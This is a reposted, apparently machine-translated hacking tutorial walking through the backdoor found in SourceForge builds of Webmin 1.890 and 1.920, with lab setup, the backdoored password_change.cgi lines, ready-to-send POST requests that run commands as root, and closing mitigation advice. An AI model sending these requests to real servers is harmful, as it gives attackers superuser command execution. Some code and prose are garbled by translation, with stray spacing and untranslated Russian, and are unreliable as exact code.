Hacker - Loophole in Webmin. How the backdoor works in the server control panel



  • Hello Hackers!
    The content of the article
    Stand
    Details
    Demonstration of vulnerability (video)
    Conclusion
    In the popular server control panel
    a vulnerability was discovered that most closely resembles a bookmark left by someone. The attacker as a result can execute arbitrary code on the target system with superuser privileges. Let's see how it works, what the problem is and how to deal with it.
    Webmin is completely written in Perl, without the use of non-standard modules. It consists of a simple web server and several scripts - they connect the commands that ensure the execution of the commands that the user gives in the web interface, at the level of the operating system and external programs. Through the web admin panel, you can create new user accounts, mailboxes, change the settings of services and various services and all that sort of thing.
    The vulnerability is in the password recovery module. By manipulating the old parameter in the password_change.cgi script, the attacker can execute arbitrary code on the target system with superuser rights, which suggests thoughts of the intentional nature of this bug. Even more suspicious - the problem is present only in ready-made builds of the distribution kit with SourceForge, but it is not in the source code on GitHub.
    Stand
    To demonstrate the vulnerability, we need two versions of the Webmin distribution kit - 1.890 and 1.920, since the test environments for them are slightly different.
    To do this, use two Docker containers.
    $ docker run -it --rm -p10000: 10000 --name = webminrce18 --hostname = webminrce18.vh debian / bin / bash
    $ docker run -it --rm -p20000: 10000 --name = webminrce19 --hostname = webminrce19.vh debian / bin / bash

    Now install the necessary dependencies.
    $ apt-get update -y && apt install -y perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl nano wget python apt-show-versions

    During the installation of apt-show-versions, I had a problem (in the screenshot below).
    90a8f9ec-4acc-4148-a1ec-be68f7244fee-image.png
    And install them.
    $ dpkg --install webmin_1.890_all.deb
    $ dpkg --install webmin_1.920_all.deb
    f0614861-7028-4892-9bed-0956f3024395-image.png
    Now run the Webmin daemons.
    $ service webmin start

    Version 1.890 is available on the default port of 10000, and 1.920 - at 20,000.
    3b1ce4ac-7f21-42d3-a6c6-9c8639690fa1-image.png c31a28ee-1188-41aa-9803-7467494d9b4e-image.png It remains only to set a password for the root user using the passwd command, and the stands are ready. We turn to the details of the vulnerability.
    Details
    First, we’ll deal with version 1.920. The problem is the password change function, and it is located in the password_change.cgi file. Since the problem affected only the version of the application with SourceForge, you can easily find out what the difference is with the one on GitHub.
    f5e1051c-fb60-4d95-88dc-17ff8e067b36-image.png
    We see that the qx function call has been added.
    webmin-1.920-github / password_change.cgi
    40: $ enc eq $ wuser -> {'pass'} || & pass_error ($ text {'password_eold'});

    webmin-1.920-sourceforge / password_change.cgi
    40: $ enc eq $ wuser -> {'pass'} || & pass_error ($ text {'password_eold'}, qx / $ in {'old'} /);

    Interesting changes. But let's not rush, first we’ll figure out how to get to this part of the code.
    At the beginning of the script, it is checked which password policy mode is selected in the settings.
    password_change.cgi
    12: $ miniserv {'passwd_mode'} == 2 || die "Password changing is not enabled!";

    Log in to the Webmin control panel as root and go to the authentication settings (Webmin → Webmin Configuration → Authentication), here you need to find the Password expiry policy item and set it to Prompt users with expired passwords to enter a new one.9fa7949f-d1c0-4106-b0f9-93bac49f781c-image.png
    Now the passwd_mode variable has a value of 2, which can be checked in the configuration file, and the script will not be interrupted on line 12.

    63d66a10-3a93-42ef-8067-3c5f33d79b54-image.png
    To visually see the form for changing the password, let's go to the user editing section and create a test user. Here we set the option Force change at next login.
    Now, when authorizing on his behalf, the system will ask you to set a new password. The data of this form will be sent to the password_change.cgi script.
    8119b187-a4b6-40ab-bbc9-13cc4b1a1f36-image.png
    So, fill out the form, send and intercept the request. Now back to the script. The $ in array contains user data that is passed in the body of the POST request.
    password_change.cgi
    15: $ in {'new1'} ne '' || & pass_error ($ text {'password_enew1'});
    16: $ in {'new1'} eq $ in {'new2'} || & pass_error ($ text {'password_enew2'});

    Here it is checked that a new password has been set (variable new1) and it has been entered correctly both times (new1 == new2).
    Next, Webmin checks for the presence and possibility of using the acl module (access-control list).
    password_change.cgi
    19: if (& foreign_check ("acl")) {

    If there is such a module, then load it.
    20: & foreign_require ("acl", "acl-lib.pl");

    From the name it’s clear that the module works with an access control list. It performs various operations with users: editing, changing passwords and rights.
    The script selects a user from the list of users who needs to set a new password. The username is taken from the user field of the password change form.
    password_change.cgi
    21: ($ wuser) = grep {$ _-> {'name'} eq $ in {'user'}} & acl :: list_users ();

    Let's play some testers and look at the $ wuser variable. To do this, add the inclusion of a module in the scriptafter which it will be possible to display information about the variables using the Dumper ($ var_name) construct.
    password_change.cgi
    6: use Data :: Dumper;
    ...
    21: ($ wuser) = grep {$ _-> {'name'} eq $ in {'user'}} & acl :: list_users (); print Dumper ($ wus

    36c206c6-fcc0-46ed-be03-179f3b70256e-image.png
    There are two types of users in Webmin: system users, which exist directly in the OS, and internal users of the application. You can find the list of system users in Linux in the / etc / passwd file, and Webmin information is taken from it. Therefore, for such users, the pass property will have the value x.
    91d51252-5092-4e09-81c4-d814280c168b-image.png Если мы будем использовать такого юзера в форме смены пароля, то это не позволит нам попасть в нужное условие и добраться до нужного участка кода.
    $wuser = {
    'name' => 'root',
    'pass' => 'x',
    'readonly' => undef,
    'lastchange' => '',
    'real' => undef,
    'twofactor_apikey' => undef,
    'lang' => 'ru.UTF-8',
    ...
    };

    password_change.cgi
    22: if ($wuser->{'pass'} eq 'x') {
    23: # A Webmin user, but using Unix authentication
    24: $wuser = undef;
    25: }
    ...
    37: if ($wuser) {
    38: # Update Webmin user's password
    39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
    40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

    Если ты поставишь вывод значения переменной прямо перед условием, то увидишь, что при попытке изменить пароль системному пользователю она будет иметь значение undef.
    password_change.cgi
    37: print Dumper($wuser); if ($wuser) {
    38: # Update Webmin user's password
    39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
    bf8052dd-5038-4d6b-8f13-a865b2e2c38d-image.png
    However, not everything is so bad. If you specify a nonexistent user, the variable will become empty, but not indefinite. And in this case, the condition if ($ wuser) will be considered true.
    password_change.cgi
    37: print Dumper ($ wuser); if ($ wuser) {
    38: # Update Webmin user's password
    39: die 'We are here!'; $ enc = & acl :: encrypt_password ($ in {'old'}, $ wuser -> {'pass'});fbb7edba-5e39-40f0-90a1-0cf22619338f-image.png Here the old password that we submitted in the form is compared with the current user password. Naturally, this part of the expression will be false, since no user nonexistentuser exists. Therefore, the second part of the condition is fulfilled, where an error message is displayed, and what is returned by the qx / $ in {'old'} / construct is added to it.
    password_change.cgi
    37: if ($ wuser) {
    ...
    39: $ enc = & acl :: encrypt_password ($ in {'old'}, $ wuser -> {'pass'});
    40: $ enc eq $ wuser -> {'pass'} || & pass_error ($ text {'password_eold'}, qx / $ in {'old'} /);

    What is this function -? This is an alternative to using backticks to execute system commands. You can use any characters as delimiters, in our case it is /. That is, in simple terms, a command will be executed that is transmitted as the user's old password.
    Let's test this and try passing, for example, uname -a.
    POST /password_change.cgi HTTP / 1.1
    Host: webminrce19.vh: 20000
    Content-Length: 52
    Content-Type: application / x-www-form-urlencoded
    Referer:
    user = nonexistentuser & pam = 1 & expired = 2 & old = uname + -a & new1 = any & new2 = any
    990dd4dc-9182-4241-8de8-588cbc3165f4-image.png
    Voila! The command was executed, and pass_error kindly provided the result of its work on the screen.
    Thus, if the password policy Webmin 1.920 allows you to request new authentication data from users with expired passwords, then with this configuration, remote execution of commands on behalf of the superuser is possible.
    We figured out this version, now let's move on to the older 1.890.
    Again, compare the password_change.cgi file from two sources.
    764fbd57-56b7-4474-99f1-f34154229d3a-image.png Webmin-1.890-github / password_change.cgi
    12: $ miniserv {'passwd_mode'} == 2 || die "Password change is not enabled!";

    Webmin-1.890-sourceforge / password_change.cgi
    12: $ in {'expired'} eq '' || die $ text {'password_expired'}, qx / $ in {'expired'} /;

    There is a similar construction with qx - qx / $ in {'expired'} /, only in this case it was used even more boldly.
    Turning to the fact that instead of checking the password policy, a simple check of the variable $ in {expired 'is used. $ In is the user data from the request. Expired on request to script. It will be done. A command simply points to a command.
    POST /password_change.cgi HTTP / 1.1
    Host: webminrce18.vh: 10000
    Content Length: 52
    Content Type: application / x-www-form-urlencoded
    Referer:expired = id

    And the server will return the result of its execution.81693a68-cc3a-4f99-8aee-292aae982843-image.png

    Conclusion
    Today we learned that you should not blindly trust even sources such as

    If there are several ways to download applications, then you can verify their checksums. And if you put the distribution kit on a server where work with important data will go, then this item becomes even more relevant.
    If you are a developer yourself, then often check what you download to different resources: versions should not diverge. Better yet, use some kind of automatic source audit tool that will warn of suspicious finds. This, of course, is not a panacea, but in such cases it can help out.
    If you already use Webmin and want to get rid of the described bookmark, then it is simple. It is enough to remove the qx function call, and also return the passwd_mode check in Webmin version 1.890.
    Subsricpe https://anonymoushackers.org/user/hackers-academy


Log in to reply
 


LIVE Chat
Login in your account to Start Chat